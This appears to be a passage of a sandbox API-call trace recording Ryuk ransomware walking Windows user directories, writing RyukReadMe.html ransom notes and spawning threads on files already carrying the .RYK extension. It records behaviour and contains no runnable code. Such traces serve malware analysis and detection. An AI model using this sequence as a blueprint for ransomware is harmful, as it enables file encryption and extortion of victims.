	[0266.499] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c3070f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.499] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c3070f0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c3070f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.499] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0266.499] SetLastError (dwErrCode=0x0) 
	[0266.499] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Publisher\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.499] GetLastError () returned 0xb7
	[0266.499] CloseHandle (hObject=0x858) returned 1
	[0266.500] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c988f10, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c988f10, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c9af070, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.500] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x5c32d250, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1
	[0266.500] SetLastError (dwErrCode=0x0) 
	[0266.500] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.500] GetLastError () returned 0xb7
	[0266.500] CloseHandle (hObject=0x858) returned 1
	[0266.500] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x5c32d250, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0266.501] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3abef650, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x5c32d250, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.501] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c32d250, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c32d250, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.501] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c32d250, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c32d250, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c32d250, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.501] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0266.501] SetLastError (dwErrCode=0x0) 
	[0266.501] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\TaskSchedulerConfig\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\taskschedulerconfig\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.501] GetLastError () returned 0xb7
	[0266.502] CloseHandle (hObject=0x858) returned 1
	[0266.502] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5c946ab0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c946ab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1
	[0266.502] SetLastError (dwErrCode=0x0) 
	[0266.502] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.502] GetLastError () returned 0xb7
	[0266.502] CloseHandle (hObject=0x858) returned 1
	[0266.502] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5c946ab0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c946ab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0266.503] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x962f4540, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x5c946ab0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c946ab0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.503] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ef99320, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x5ef99320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5c8fa7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x18e02, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="content14.dat.RYK", cAlternateFileName="CONTEN~1.RYK")) returned 1
	[0266.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c
	[0266.678] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.678] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c600c70, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c600c70, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c626dd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.678] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x4db89570, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1f522, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="thumbs.dat.RYK", cAlternateFileName="THUMBS~1.RYK")) returned 1
	[0266.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0266.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918
	[0266.680] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0266.681] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976e3d80, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x976e3d80, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x4db89570, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1f522, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="thumbs.dat.RYK", cAlternateFileName="THUMBS~1.RYK")) returned 0
	[0266.681] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0266.681] SetLastError (dwErrCode=0x0) 
	[0266.681] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Visio\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\visio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.681] GetLastError () returned 0xb7
	[0266.681] CloseHandle (hObject=0x858) returned 1
	[0266.682] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c626dd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c626dd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0266.682] SetLastError (dwErrCode=0x0) 
	[0266.682] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0266.682] GetLastError () returned 0xb7
	[0266.682] CloseHandle (hObject=0x858) returned 1
	[0266.682] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c626dd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c626dd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0266.683] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c626dd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c626dd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.683] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="1024", cAlternateFileName="")) returned 1
	[0266.683] SetLastError (dwErrCode=0x0) 
	[0266.683] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.683] GetLastError () returned 0xb7
	[0266.683] CloseHandle (hObject=0x984) returned 1
	[0266.683] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.684] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x666948e0, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.684] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c64cf30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.684] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c64cf30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.684] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.684] SetLastError (dwErrCode=0x0) 
	[0266.684] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1024\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1024\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.684] GetLastError () returned 0xb7
	[0266.685] CloseHandle (hObject=0x984) returned 1
	[0266.685] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0266.685] SetLastError (dwErrCode=0x0) 
	[0266.685] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.685] GetLastError () returned 0xb7
	[0266.685] CloseHandle (hObject=0x984) returned 1
	[0266.685] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.686] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34d50a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.686] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c64cf30, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c64cf30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c64cf30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.686] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 1
	[0266.686] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ef3970, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34ef3970, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8ecd4180, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x49098, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="StructuredQuerySchema.bin", cAlternateFileName="STRUCT~1.BIN")) returned 0
	[0266.686] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.686] SetLastError (dwErrCode=0x0) 
	[0266.686] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\1033\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.686] GetLastError () returned 0xb7
	[0266.686] CloseHandle (hObject=0x984) returned 1
	[0266.687] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c673090, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c673090, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1
	[0266.687] SetLastError (dwErrCode=0x0) 
